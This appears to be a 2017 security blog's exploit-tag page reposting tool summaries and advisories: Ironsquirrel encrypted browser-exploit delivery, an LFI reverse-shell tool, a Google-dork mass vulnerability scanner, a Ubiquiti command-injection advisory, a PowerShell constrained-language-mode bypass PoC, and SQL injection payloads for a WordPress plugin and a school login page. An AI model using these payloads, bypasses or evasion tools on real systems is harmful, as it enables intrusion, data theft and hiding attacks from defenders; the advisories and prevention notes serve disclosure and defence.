Showing posts with label Exploit. Show all posts
Showing posts with label Exploit. Show all posts

Oct 2, 2017

Ironsquirrel - Encrypted exploit delivery for the masses

This project aims at delivering browser exploits to the victim browser in an encrypted fashion. Ellyptic-curve Diffie-Hellman (secp256k1) is used for key agreement and AES is used for encryption.
Encrypted exploit delivery for the masses
By delivering the exploit code (and shellcode) to the victim in an encrypted way, the attack can not be replayed. Meanwhile the HTML/JS source is encrypted thus reverse engineering the exploit is significantly harder.

If you have no idea what I am talking about, Google for "How to hide your browser 0-days", and check my presentation. Or check out it on Youtube: https://www.youtube.com/watch?v=eyMDd98uljI Or slides on Slideshare: https://www.slideshare.net/bz98/how-to-hide-your-browser-0days

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.

Prerequisites

Mandatory dependencies - clone the IRONSQUIRREL project, cd into the project directory, and run the following commands:
sudo apt-get install ruby-dev
bundle install
Actually nokogiri and gibberish gems will be installed.
Optional dependency (for Powershell based environment aware encrypted payload delivery): Ebowla https://github.com/Genetic-Malware/Ebowla

Installing

  • Clone the IRONSQUIRREL project
  • Install the prerequisites
  • (Optional) Edit IRONSQUIRREL.rb
  • Change the listen port
  • If Ebowla is used, configure the paths
  • (Optional) If Ebowla is used, configure genetic.config.ecdh in the Ebowla install directory
  • Run IRONSQUIRREL.rb
ruby IRONSQUIRREL.rb --exploit full_path_to_exploit

Example

ruby IRONSQUIRREL.rb --exploit /home/myawesomeusername/IRONSQUIRREL/exploits/alert.html
After that, visit the webserver from a browser. Example output:
Listening on 2345
GET / HTTP/1.1
GET /sjcl.js HTTP/1.1
GET /dh.js HTTP/1.1
GET /client_pub.html?cl=SOifQJetphU2CvFzZl239nKPYWRGEH23ermGMszo9oqOgqIsH5XxXi1vw4P4YFWDqK6v4o4jIpAVSNZD1x5NTw%3D%3D HTTP/1.1
GET /final.html HTTP/1.1
GET /sjcl.js HTTP/1.1
The end

Deployment instructions for production environments
Let me know if you use this for real
Spend at least 2 weeks to figure out what could go wrong

Sep 25, 2017

LFiFreak - LFi Exploiter with Bind/Reverse Shells

LFi Exploiter with Bind/Reverse Shells

Features

  • Works with Windows, Linux and OS X
  • Includes bind and reverse shell for both Windows and Linux
  • Written in Python 2.7

What is this all about?

A unique tool for exploiting local file inclusions using PHP Input, PHP Filter and Data URI methods.

Dependencies

Sep 21, 2017

DorkBot - Scan Google search results for Vulnerabilities

dorkbot is a modular command-line tool for performing vulnerability scans against a set of webpages returned by Google search queries in a given Google Custom Search Engine. It is broken up into two sets of modules:
  • Indexers - modules that issue a search query and return the results as targets
  • Scanners - modules that perform a vulnerability scan against each target
Targets are stored in a local database upon being indexed. Once scanned, any vulnerabilities found by the chosen scanner are written to a standard JSON report file. Indexing and scanning processes can be run separately or combined in a single command.

Quickstart

  1. Download PhantomJS and either Arachni or Wapiti for your platform, and make sure you have installed any required dependencies for each.
  2. Extract each tool into the tools directory and rename the directory after the tool (dorkbot/tools/phantomjs/, dorkbot/tools/arachni/, etc).
  3. Create a Google Custom Search Engine and note the search engine ID, e.g. 012345678901234567891:abc12defg3h.
  4. Install python-dateutil (e.g.: pip install python-dateutil)
Example: use arachni to scan php pages that contain the string "id" in the url:
python ./dorkbot.py -i google -o engine=012345678901234567891:abc12defg3h,query="filetype:php inurl:id" -s arachni

Indexer Modules

google

Search for targets in a Google Custom Search Engine (CSE) via custom search element.
Requirements: PhantomJS
Options:
engine - CSE id
query - search query
phantomjs_dir - phantomjs base directory containing bin/phantomjs (default: tools/phantomjs/)
domain - limit searches to specified domain
google_api

Search for targets in a Google Custom Search Engine (CSE) via JSON API.
Requirements: none
Options:
key - API key
engine - CSE id
query - search query
domain - limit searches to specified domain
stdin

Read targets from standard input, one per line.
Requirements: none
Options: none

Scanner Modules
arachni
Scan targets with Arachni command-line scanner.
Requirements: Arachni
Options:
arachni_dir - arachni base directory containing bin/arachni and bin/arachni_reporter (default: tools/arachni/)
report_dir - directory to save arachni scan binary and JSON scan report output (default: reports/)
checks - which vulnerability checks to perform (default: active/*,-csrf,-unvalidated_redirect,-source_code_disclosure,-response_splitting,-no_sql_injection_differential
wapiti

Scan targets with Wapiti command-line scanner.
Requirements: Wapiti
Options:
wapiti_dir - wapiti base directory containing bin/wapiti (default: tools/wapiti/)
report_dir - directory to save wapiti JSON scan report (default: reports/)

Sep 14, 2017

Authenticated Command Injection

Vulnerability overview/description:

  1. Command Injection in Admin Interface
A command injection vulnerability was found in "pingtest_action.cgi".
This script is vulnerable since it is possible to inject a value of a
variable. One of the reasons for this behaviour is the used PHP version
(PHP/FI 2.0.1 from 1997).

The vulnerability can be exploited by luring an attacked user to click
on a crafted link or just surf on a malicious website. The whole attack
can be performed via a single GET-request and is very simple since there
is no CSRF protection.

An attacker can open a port binding or reverse shell to connect to the
device and is also able to change the "passwd" since the web service
runs with root privileges!

Furthermore, low privileged read-only users, which can be created in the web
interface, are also able to perform this attack.

If the Ubiquiti device acts as router or even as firewall, the attacker
can take over the whole network by exploiting this vulnerability.

Proof of concept:

  1. Command Injection in Admin Interface
The following link can be used to open a reverse shell to the attacker's
IP address. There are two possibilities for the different firmware
versions.
Reverse root shell - firmware: v1.3.3 (SW)
[ PoC removed - no patch available ]

Reverse root shell - firmware: v5.6.9/v6.0 (XM)
[ PoC removed - no patch available ]

A video is available here: https://youtu.be/oU8GNeP_Aps

Vulnerable / tested versions:
The following devices and firmware versions have been tested/verified:
TS-8-PRO                     - v1.3.3 (SW)
(Rocket) M5                  - v5.6.9/v6.0 (XM)
(PicoStationM2HP) PICOM2HP   - v5.6.9/v6.0 (XM)
(NanoStationM5) NSM5         - v5.6.9/v6.0 (XM)

Based on information embedded in the firmware of other Ubiquiti products
gathered from our IoT Inspector tool we believe the following devices are
affected as well:
Ubiquiti Networks AF24 (Version: AF24 v3.2)
Ubiquiti Networks AF24HD (Version: AF24 v3.2)
Ubiquiti Networks AF-2X (Version: AF2X v3.2 )
Ubiquiti Networks AF-3X (Version: AF3X v3.2)
Ubiquiti Networks AF5 (Version: AF5 v3.2)
Ubiquiti Networks AF5U (Version: AF5 v3.2)
Ubiquiti Networks AF-5X (Version: AF5X v3.2.1)
Ubiquiti Networks AG-PRO-INS (Version: AirGWP v1.1.7)
Ubiquiti Networks airGateway (Version: AirGW v1.1.7)
Ubiquiti Networks airGateway-LR (Version: AirGW v1.1.7)
Ubiquiti Networks AMG-PRO (Version: AirGWP v1.1.7)
Ubiquiti Networks LBE-5AC-16-120 (Version: WA v7.2.4)
Ubiquiti Networks LBE-5AC-23 (Version: WA v7.2.4)
Ubiquiti Networks LBE-M5-23 (Version: XW v5.6.9/v6.0)
Ubiquiti Networks NBE-5AC-16 (Version: WA v7.2.4)
Ubiquiti Networks NBE-5AC-19 (Version: XC v7.2.4)
Ubiquiti Networks NBE-M2-13 (Version: XW v5.6.9/v6.0)
Ubiquiti Networks NBE-M5-16 (Version: XW v5.6.9/v6.0)
Ubiquiti Networks NBE-M5-19 (Version: XW v5.6.9/v6.0)
Ubiquiti Networks PBE-5AC-300 (Version: XC v7.2.4)
Ubiquiti Networks PBE-5AC-300-ISO (Version: XC v7.2.4)
Ubiquiti Networks PBE-5AC-400 (Version: XC v7.2.4)
Ubiquiti Networks PBE-5AC-400-ISO (Version: XC v7.2.4)
Ubiquiti Networks PBE-5AC-500 (Version: XC v7.2.4)
Ubiquiti Networks PBE-5AC-500-ISO (Version: XC v7.2.4)
Ubiquiti Networks PBE-5AC-620 (Version: XC v7.2.4)
Ubiquiti Networks PBE-M2-400 (Version: XW v5.6.9/v6.0)
Ubiquiti Networks PBE-M5-300 (Version: XW v5.6.9/v6.0)
Ubiquiti Networks PBE-M5-300-ISO (Version: XW v5.6.9/v6.0)
Ubiquiti Networks PBE-M5-400 (Version: XW v5.6.9/v6.0)
Ubiquiti Networks PBE-M5-400-ISO (Version: XW v5.6.9/v6.0)
Ubiquiti Networks PBE-M5-620 (Version: XW v5.6.9/v6.0)
Ubiquiti Networks R5AC-Lite (Version: XC v7.2.4)
Ubiquiti Networks R5AC-PRISM (Version: XC v7.2.4)
Ubiquiti Networks R5AC-PTMP (Version: XC v7.2.4)
Ubiquiti Networks R5AC-PTP (Version: XC v7.2.4)
Ubiquiti Networks RM2-Ti (Version: XW v5.6.9/v6.0)
Ubiquiti Networks RM5-Ti (Version: XW v5.6.9/v6.0)

Aug 29, 2017

Exploiting PowerShell Code Injection Vulnerabilities to Bypass Constrained

Exploiting PowerShell Code Injection Vulnerabilities to Bypass Constrained
Exploiting PowerShell Code.

Introduction

Constrained language mode is an extremely effective method of preventing arbitrary unsigned code execution in PowerShell. It’s most realistic enforcement scenarios are when Device Guard or AppLocker are in enforcement mode because any script or module that is not approved per policy will be placed in constrained language mode, severely limiting an attackers ability to execute unsigned code. Among the restrictions imposed by constrained language mode is the inability to call Add-Type. Restricting Add-Type makes sense considering it compiles and loads arbitrary C# code into your runspace. PowerShell code that is approved per policy, however, runs in “full language” mode and execution of Add-Type is permitted. It turns out that Microsoft-signed PowerShell code calls Add-Type quite regularly. Don’t believe me? Find out for yourself by running the following command:
ls C:\* -Recurse -Include '*.ps1', '*.psm1' |
Select-String -Pattern 'Add-Type' |
Sort Path -Unique |
% { Get-AuthenticodeSignature -FilePath $_.Path } |
? { $_.SignerCertificate.Subject -match 'Microsoft' }

Exploitation

Now, imagine if the following PowerShell module code (pretend it’s called “VulnModule”) were signed by Microsoft:
$Global:Source = @'
public class Test {
public static string PrintString(string inputString) {
return inputString;
}
}
'@

Add-Type -TypeDefinition $Global:Source
Any ideas on how you might influence the input to Add-Type from constrained language mode? Take a minute to think about it before reading on.

Alright, let’s think the process through together:
  1. Add-Type is passed a global variable as its type definition. Because it’s global, its scope is accessible by anyone, including us, the attacker.
  2. The issue though is that the signed code defines the global variable immediately prior to calling to Add-Type so even if we supplied our own malicious C# code, it would just be overwritten by the legitimate code.
  3. Did you know that you can set read-only variables using the Set-Variable cmdlet? Do you know what I’m thinking now?

Weaponization

Okay, so to inject code into Add-Type from constrained language mode, an attacker needs to define their malicious code as a read-only variable, denying the signed code from setting the global “Source” variable. Here’s a weaponized proof of concept:
Set-Variable -Name Source -Scope Global -Option ReadOnly -Value @'
public class Injected {
public static string ToString(string inputString) {
return inputString;
}
}
'@

Import-Module VulnModule

[Injected]::ToString('Injected!!!')
A quick note about weaponization strategies for Add-Type injection flaws. One of the restrictions of constrained language mode is that you cannot call .NET methods on non-whitelisted classes with two exceptions: properties (which is just a special “getter” method) and the ToString method. In the above weaponized PoC, I chose to implement a static ToString method because ToString permits me to pass arguments (a property getter does not). I also made my class static because the .NET class whitelist only applies when instantiating objects with New-Object.

So did the above vulnerable example sound contrived and unrealistic? You would think so but actually Microsoft.PowerShell.ODataAdapter.ps1 within the Microsoft.PowerShell.ODataUtils module was vulnerable to this exact issue. Microsoft fixed this issue in either CVE-2017-0215, CVE-2017-0216, or CVE-2017-0219. I can’t remember, to be honest.

Prevention

The easiest way to prevent this class of injection attack is to supply a single-quoted here-string directly to -TypeDefinition in Add-Type. Single quoted string will not expand any embedded variables or expressions. Of course, this scenario assumes that you are compiling static code. If you must supply dynamically generated code to Add-Type, be exceptionally mindful of how an attacker might influence its input. To get a sense of a subset of ways to influence code execution in PowerShell watch my “Defensive Coding Strategies for a High-Security Environment” talk that I gave at PSConf.EU.

Mitigation

While Microsoft will certainly service these vulnerabilities moving forward, what is to prevent an attacker from bringing the vulnerable version along with them?

A surprisingly effective blacklist rule for UMCI bypass binaries is the FileName rule which will block execution based on the filename present in the OriginalFilename field within the “Version Info” resource in a PE. A PowerShell script is obviously not a PE file though - it’s a text file so the FileName rule won’t apply. Instead, you are forced to block the vulnerable script by its file hash using a Hash rule. Okay… what if there is more than a single vulnerable version of the same script? You’ve only blocked a single hash thus far. Are you starting to see the problem? In order to effectively block all previous vulnerable versions of the script, you must know all hashes of all vulnerable versions. Microsoft certainly recognizes that problem and has made a best effort (considering they are the ones with the resources) to scan all previous Windows releases for vulnerable scripts and collect the hashes and incorporate them into a blacklist here. Considering the challenges involved in blocking all versions of all vulnerable scripts by their hash, it is certainly possible that some might fall through the cracks. This is why it is still imperative to only permit execution of PowerShell version 5 and to enable scriptblock logging.

Another way in which a defender might get lucky regarding vulnerable PowerShell script blocking is due to the fact that most scripts and binaries on the system are catalog signed versus Authenticode signed. Catalog signed means that rather than the script having an embedded Authenticode signature, its hash is stored in a catalog file that is signed by Microsoft. So when Microsoft ships updates, eventually, hashes for old versions will fall out and no longer remain “signed.” Now, an attacker could presumably also bring an old, signed catalog file with them and insert it into the catalog store. You would have to be elevated to perform that action though and by that point, there are a multitude of other ways to bypass Device Guard UMCI. As a researcher seeking out such vulnerable scripts, it is ideal to first seek out potentially vulnerable scripts that have an embedded Authenticode signature as indicated by the presence of the following string - “SIG # Begin signature block”. Nara: Exploit-Monday

Aug 28, 2017

Exploit: WordPress Plugin Easy Modal 2.0.17 - SQL Injection

WordPress Easy Modal Plugin - Multiple Security Vulnerabilities
Advisory ID: DC-2017-01-007
Advisory Title: WordPress Easy Modal Plugin Multiple
WordPress Plugin Easy Modal 2017
Easy Modal.

Vulnerabilities

  • Software: WordPress Easy Modal plugin
  • Language: PHP
  • Version: 2.0.17 and below
  • Vendor Status: Vendor contacted, update released
  • Release Date: 2017/08/07
  • Risk: Medium 

1. General Overview

During the security audit of Easy Modal plugin for WordPress CMS, multiple vulnerabilities were discovered using DefenseCode ThunderScan application source code security analysis platform.

2. Software Overview

According to the plugin developers, Easy Modal is the #1 WordPress Popup Plugin. It's advertised as "Make glorious & powerful popups and market your content like never before - all in minutes!".
According to wordpress.org, it has more than 20,000 active installs.
Homepage:
http://wordpress.org/extend/plugins/easy-modal/
https://easy-modal.com

3. Vulnerability Description

During the security analysis, ThunderScan discovered SQL injection vulnerabilities in Easy Modal WordPress plugin.

The easiest way to reproduce the vulnerability is to visit the provided URL while being logged in as administrator or another user that is authorized to access the plugin settings page. Users that do
not have full administrative privileges could abuse the database access the vulnerability provides to either escalate their privileges or obtain and modify database contents they were not supposed to be
able to.

The nonce token is required as the URL parameter. Token value is not unique for each request, nor per each URL, so if the attacker manages to obtain a valid token value, the module could be exposed to attack vectors such as Cross Site request forgery (CSRF).

3.1. SQL injection

  • Function: $wpdb->query()
  • Variables: $_GET['id'], $_GET['ids'], $_GET['modal']
  • Sample URL:
  • http://vulnerablesite.com/wp-admin/admin.php?page=easy-modal&action=dele
  • te&id%5B0%5D=4%20AND%20SLEEP(5)&easy-modal_nonce=xxx
  • File: easy-modal\classes\controller\admin\modals.php

3.2. SQL injection

  • Function: $wpdb->query()
  • Variables: $_GET['id'], $_GET['ids'], $_GET['modal']
  • Sample URL:
  • http://vulnerablesite.com/wp-admin/admin.php?easy-modal_nonce=xxx&_wp_ht
  • tp_referer=%2Fvulnerablesite.com%2Fwp-admin%2Fadmin.php%3Fpage%3Deasy-mo
  • dal%26status%3Dtrash&page=easy-modal&action=untrash&paged=1&id[]=2)%20AN
  • D%20SLEEP(10)--%20ZpVQ&action2=-1
  • File: easy-modal\classes\controller\admin\modals.php

4. Credits

by Neven Biruski. | DB

Exploit: Schools Alert Management - SQL injection login bypass

SQL injection login bypass
Schools Alert Management.
Schools Alert Management - SQL injection login bypass, an attacker is able to inject malicious sql query to bypass the login page and login as admin of the particular school.

Proof of Concept: http://localhost/schoolalert/demo_school_name/schools_login.php  [ set username and password ] to >>  admin' or 1=1 - you must choose the check box as management

Exploit Author: Ali BawazeEer
Dork: N/A
Date: 28.08.2017
Vendor Homepage: http://www.phpscriptsmall.com/product/schools-alert-management-system/
Version: 2.01
Category: Webapps
Tested on: Win / Mozila Firefox

 

AdBlock Detected!

Like this blog? Keep us running by whitelisting this blog in your ad blocker.

This is how to whitelisting this blog in your ad blocker.

Thank you!

×